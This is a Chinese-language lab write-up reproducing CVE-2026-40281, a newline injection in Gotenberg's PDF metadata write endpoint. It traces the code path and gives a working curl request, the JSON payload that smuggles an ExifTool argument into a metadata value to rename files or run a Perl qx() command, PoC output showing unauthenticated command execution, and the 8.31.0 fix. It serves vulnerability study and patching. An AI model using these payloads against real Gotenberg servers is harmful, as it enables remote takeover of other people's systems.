CVE-2026-40281漏洞复现记录

漏洞概览

Gotenberg 是一个基于 Docker 的无状态 API 服务,广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 ExifTool 实现,而这个接口中的一个"值未过滤换行符"的疏漏,让攻击者可以把任意参数注入到 ExifTool 的命令行中,最终借助 ExifTool 的 Perl 表达式特性实现 RCE。

值得注意的是,这并非该接口的第一个漏洞:早前的 CVE-2026-42589 是元数据键名(key)注入 ,8.30.1 版本为此加入了危险 tag 名过滤;而本漏洞(CVE-2026-40281)则是元数据值(value)中的换行符注入,恰好绕过了上一轮针对键名的修复。

环境搭建

使用 vulhub 环境(Gotenberg 8.30.1):

bash 复制代码
git clone 后进入 gotenberg/CVE-2026-40281 目录
docker compose up -d

服务启动后访问 http://127.0.0.1:3000/health,返回 "status":"up" 即就绪:

json 复制代码
{"status":"up","details":{"chromium":{"status":"up","timestamp":"2026-10-08T12:55:16.236911374Z"},"libreoffice":{"status":"up","timestamp":"2026-10-08T12:55:16.236869832Z"}}}

容器内的关键组件版本:

  • Gotenberg 8.30.1(Go 实现)
  • go-exiftool v1.10.0(Gotenberg 调用 ExifTool 所用的 Go 封装库)
  • ExifTool 13.25(Perl 5.40.1)

漏洞原理分析

1. 入口:元数据写入接口

POST /forms/pdfengines/metadata/write 接收一个 PDF 文件和一个 metadata 表单字段(JSON 对象),把元数据写入 PDF 后返回处理过的文件。

路由定义在 pkg/modules/pdfengines/routes.go:1022:

go 复制代码
// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.
func writeMetadataRoute(engine gotenberg.PdfEngine) api.Route {
    return api.Route{
        Method:      http.MethodPost,
        Path:        "/forms/pdfengines/metadata/write",
        IsMultipart: true,
        Handler: func(c echo.Context) error {
            ctx := c.Get("context").(*api.Context)

            form := ctx.FormData()
            metadata := FormDataPdfMetadata(form, true)   // ① 解析 metadata JSON

            var inputPaths []string
            err := form.
                MandatoryPaths([]string{".pdf"}, &inputPaths).
                Validate()
            ...
            err = WriteMetadataStub(ctx, engine, metadata, inputPaths)  // ② 写入元数据
            ...
        },
    }
}

FormDataPdfMetadata(routes.go:107)只是把 JSON 反序列化成 map[string]any,对键和值的内容没有任何校验:

go 复制代码
func FormDataPdfMetadata(form *api.FormData, mandatory bool) map[string]any {
    var metadata map[string]any

    metadataFunc := func(value string) error {
        if len(value) > 0 {
            err := json.Unmarshal([]byte(value), &metadata)
            ...
        }
        return nil
    }
    ...
}

2. Gotenberg 侧:只防了"键名",没防"值"

WriteMetadataStub 最终调用 ExifTool 引擎的 WriteMetadata,位于 pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御------一个针对键名的黑名单过滤:

go 复制代码
// Filter user-supplied metadata to prevent ExifTool pseudo-tags from
// triggering dangerous side effects like file renames, moves, or link
// creation. Comparison is case-insensitive because ExifTool processes
// tag names case-insensitively.
// See https://exiftool.org/TagNames/Extra.html.
dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
    "HardLink",  // Writing this creates a hard link in ExifTool
    "SymLink",   // Writing this creates a symbolic link in ExifTool
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

for key, value := range metadata {
    switch val := value.(type) {
    case string:
        fileMetadata[0].SetString(key, val)   // ← 值原样传入,未过滤换行符
    ...

这段代码防住了 {"FileName":"..."} 这类直接把伪标签(pseudo-tag)当键名写入的攻击(即 CVE-2026-42589 的利用方式),但 SetString(key, val) 中的值 val 被原样传递 ------包括换行符 \n。这就是本漏洞的成因。

3. 底层:go-exiftool 的"按行传参"协议

Gotenberg 通过 go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程,而是维持一个常驻的 ExifTool 进程,使用 ExifTool 的 argfiles 模式 (exiftool.go:20):

go 复制代码
var initArgs = []string{"-stay_open", "True", "-@", "-"}

-@ - 的含义是"从 stdin 读取参数文件",每一行就是一个独立的命令行参数 ,-stay_open True 让进程读完一批参数后继续等待下一批。写入时(exiftool.go:214 的 WriteMetadata):

go 复制代码
for k, v := range md.Fields {
    switch v.(type) {
    case nil:
        fmt.Fprintln(e.stdin, "-"+k+"=")
    default:
        strTab, err := md.GetStrings(k)
        ...
        for _, str := range strTab {
            // TODO: support writing an empty string via '^='
            fmt.Fprintln(e.stdin, "-"+k+"="+str)   // ← 一个 "-Tag=值" 占一行
        }
    }
}

fmt.Fprintln(e.stdin, md.File)      // 目标文件
fmt.Fprintln(e.stdin, executeArg)   // "-execute":执行本批参数

fmt.Fprintln(e.stdin, "-"+k+"="+str) 把 -Title=值 作为一个整体写入一行。如果 str 中含有 \n,这一个"逻辑参数"就会被拆成两行------也就是两个独立的 ExifTool 参数。

4. 注入链完整梳理

复制代码
HTTP 请求 metadata={"Title":"test\n-FileName=/tmp/inject_proof"}
    │
    ▼ json.Unmarshal(\n 转义还原为真实换行符)
map[string]any{"Title": "test\n-FileName=/tmp/inject_proof"}
    │
    ▼ 键名黑名单检查:Title 不在黑名单 → 通过
    │
    ▼ SetString("Title", "test\n-FileName=/tmp/inject_proof")
    │
    ▼ fmt.Fprintln(stdin, "-Title=test\n-FileName=/tmp/inject_proof")
stdin 实际内容(两行 = 两个参数):
    -Title=test
    -FileName=/tmp/inject_proof        ← 注入的参数
    │
    ▼ ExifTool argfiles 协议逐行解释
exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -execute

ExifTool 收到 -FileName=/tmp/inject_proof 后,会把正在处理的 PDF 重命名/移动 到该路径------这是 ExifTool 的官方特性(FileName 是可写的"文件系统伪标签"),却被攻击者用来操纵服务器文件。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC 分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF 实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

漏洞复现

复现一:参数注入(-FileName 文件操纵)

先离线生成一个最小合法 PDF(poc.py 自带构建逻辑):

bash 复制代码
python poc.py -o test.pdf

然后在 Title 值中注入换行符和 -FileName 参数:

bash 复制代码
curl -s -w '\nHTTP %{http_code}\n' \
    -F 'files=@test.pdf;type=application/pdf' \
    --form-string 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
    http://127.0.0.1:3000/forms/pdfengines/metadata/write

注意 curl 的 --form-string 会把字面量 \n(反斜杠 + n)原样发送,服务端 json.Unmarshal 将其还原为真实换行符。

漏洞版本的返回:

复制代码
Not Found
HTTP 404

返回 404 不是因为请求被拒绝,而是因为注入的 -FileName 参数已经把处理完的 PDF 移走了,Gotenberg 找不到输出文件。进入容器验证:

bash 复制代码
$ docker compose exec web ls -l /tmp/inject_proof
-rw-r--r-- 1 gotenberg gotenberg 3582 Oct  8 13:02 /tmp/inject_proof

文件确实存在,参数注入成功:

复现二:从参数注入到 RCE

单纯的参数注入已经能操纵文件(改名/移动/软硬链接),但要拿命令执行,需要请出 ExifTool 更危险的特性------Perl 表达式求值。

ExifTool 的 -TAG<值 语法表示"从表达式取值写入 TAG"(区别于 -TAG=值 的直接赋值)。其中支持"高级格式化"(advanced formatting)语法 ${TAG;表达式}:取 TAG 的当前值赋给 $_,执行分号后的任意 Perl 表达式,结果作为新值写回。qx() 是 Perl 的命令执行运算符(等价于反引号)。

于是构造 payload:

json 复制代码
{"Title":"x\n-Title<${PDFVersion;$_=qx(id)}"}

注入后 ExifTool 实际收到的参数:

复制代码
-Title=x                                  ← 正常参数,占位
-Title<${PDFVersion;$_=qx(id)}            ← 注入参数

第二个参数的执行逻辑:读取 PDFVersion 标签(任何合法 PDF 都有此标签,保证表达式被触发)→ 在 Perl 中执行 qx(id) → 命令输出覆盖 $_ → 写入 Title。命令的输出就这样被写进了 PDF 元数据。

而写入接口会在 HTTP 响应中返回处理后的 PDF,再把它提交给 /forms/pdfengines/metadata/read 读出 Title,即可拿到命令回显 。poc.py 把这两步串了起来:

bash 复制代码
$ python poc.py -u http://127.0.0.1:3000 -c id
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
    uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

$ python poc.py -u http://127.0.0.1:3000 -c "whoami; hostname; uname -r"
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: whoami; hostname; uname -r
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
    gotenberg 6dc17a6e1c7c 6.18.40.1-microsoft-standard-WSL2

命令以容器内的 gotenberg 用户(uid=1001,注意其附加组包含 root)身份执行,输出从返回 PDF 的 Title 元数据中完整回读------无需任何认证的远程代码执行:

除 -TAG<... 重定向语法外,ExifTool 的 -if 参数 同样会执行任意 Perl 表达式(本用于决定是否处理文件),表达式内使用 qx() 或 system() 也能达到同样效果。

修复分析(8.31.0)

8.31.0 的修复在 pkg/modules/exiftool/exiftool.go 中加入了三道防线,直击注入的根源------控制字符:

go 复制代码
// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \n) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)

// validateMetadataValue rejects metadata values containing characters that
// could inject ExifTool stdin arguments. go-exiftool writes each key/value
// pair as a single line via fmt.Fprintln(stdin, "-"+k+"="+str), so a
// newline in the value splits into a second stdin line that ExifTool
// interprets as an additional argument. ... The same applies to carriage
// returns and NUL.
func validateMetadataValue(key, value string) error {
    if strings.ContainsAny(value, "\n\r\x00") {
        return fmt.Errorf("... invalid metadata value for key %q (contains control character): %w",
            key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
    }
    return nil
}

写入路径上的每一处赋值都会调用校验:

go 复制代码
for key, value := range metadata {
    switch val := value.(type) {
    case string:
        if err = validateMetadataValue(key, val); err != nil {   // ← 新增
            ...
            return err
        }
        fileMetadata[0].SetString(key, val)
    case []string:
        for _, s := range val {
            if err = validateMetadataValue(key, s); err != nil { // ← 新增
                ...

键名则从"黑名单"升级为白名单 (safeKeyPattern),只有字母、数字、-_.: 可以出现在键名中;同时黑名单补充了 FilePermissions(防 chmod),并在比较前剥离 ExifTool 的组名前缀(防止 System:FileName 绕过等价名比较)。

校验失败时错误包装了 gotenberg.ErrPdfEngineMetadataValueNotSupported,pkg/modules/api/middlewares.go:65 会把它映射为 HTTP 400,所以修复版本对同样的攻击载荷返回 400 Bad Request 而不是 404。

在 8.31.0 上重放同样的 payload,请求会在 validateMetadataValue 处被拒绝并返回 HTTP 400(错误信息提示至少一个 PDF 引擎无法处理该元数据),注入的换行符再也无法到达 go-exiftool 的 stdin。

相关推荐
deepseek231 天前
MCP SSRF 连环漏洞拆解:从 Google 到 mcp-server-fetch,Agent 的信任链如何变成攻击链
安全·漏洞分析·ssrf·ai agent·mcp
java_logo1 个月前
Docker 部署 Gotenberg 完整教程:Compose 搭建文档转 PDF API
docker·pdf·chromium·libreoffice·文档转换·轩辕镜像·gotenberg
阿菜ACai1 个月前
20260911-Etherfi AtomicQueue 攻击事件:订单校验逻辑未实现,用户授权被滥用
漏洞分析
带娃的IT创业者3 个月前
深度解析:大模型供应链安全危机与Hugging Face评估漏洞实战复盘
大模型·llm·漏洞分析·hugging face·供应链安全·ai安全
阿菜ACai5 个月前
PolyMarket Ghost Fills(幽灵订单)探究
漏洞分析
ybdesire5 个月前
间接提示词注入真实样例鉴赏
网络安全·语言模型·漏洞·漏洞分析
阿菜ACai6 个月前
20260428 - ZetaChain 安全事件分析
漏洞分析
阿菜ACai6 个月前
20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过
漏洞分析
Gobysec9 个月前
Goby 漏洞安全通告|GNU InetUtils Telnetd USER环境变量注入 权限绕过漏洞(CVE-2026-24061)
数据库·安全·gnu·漏洞分析·漏洞预警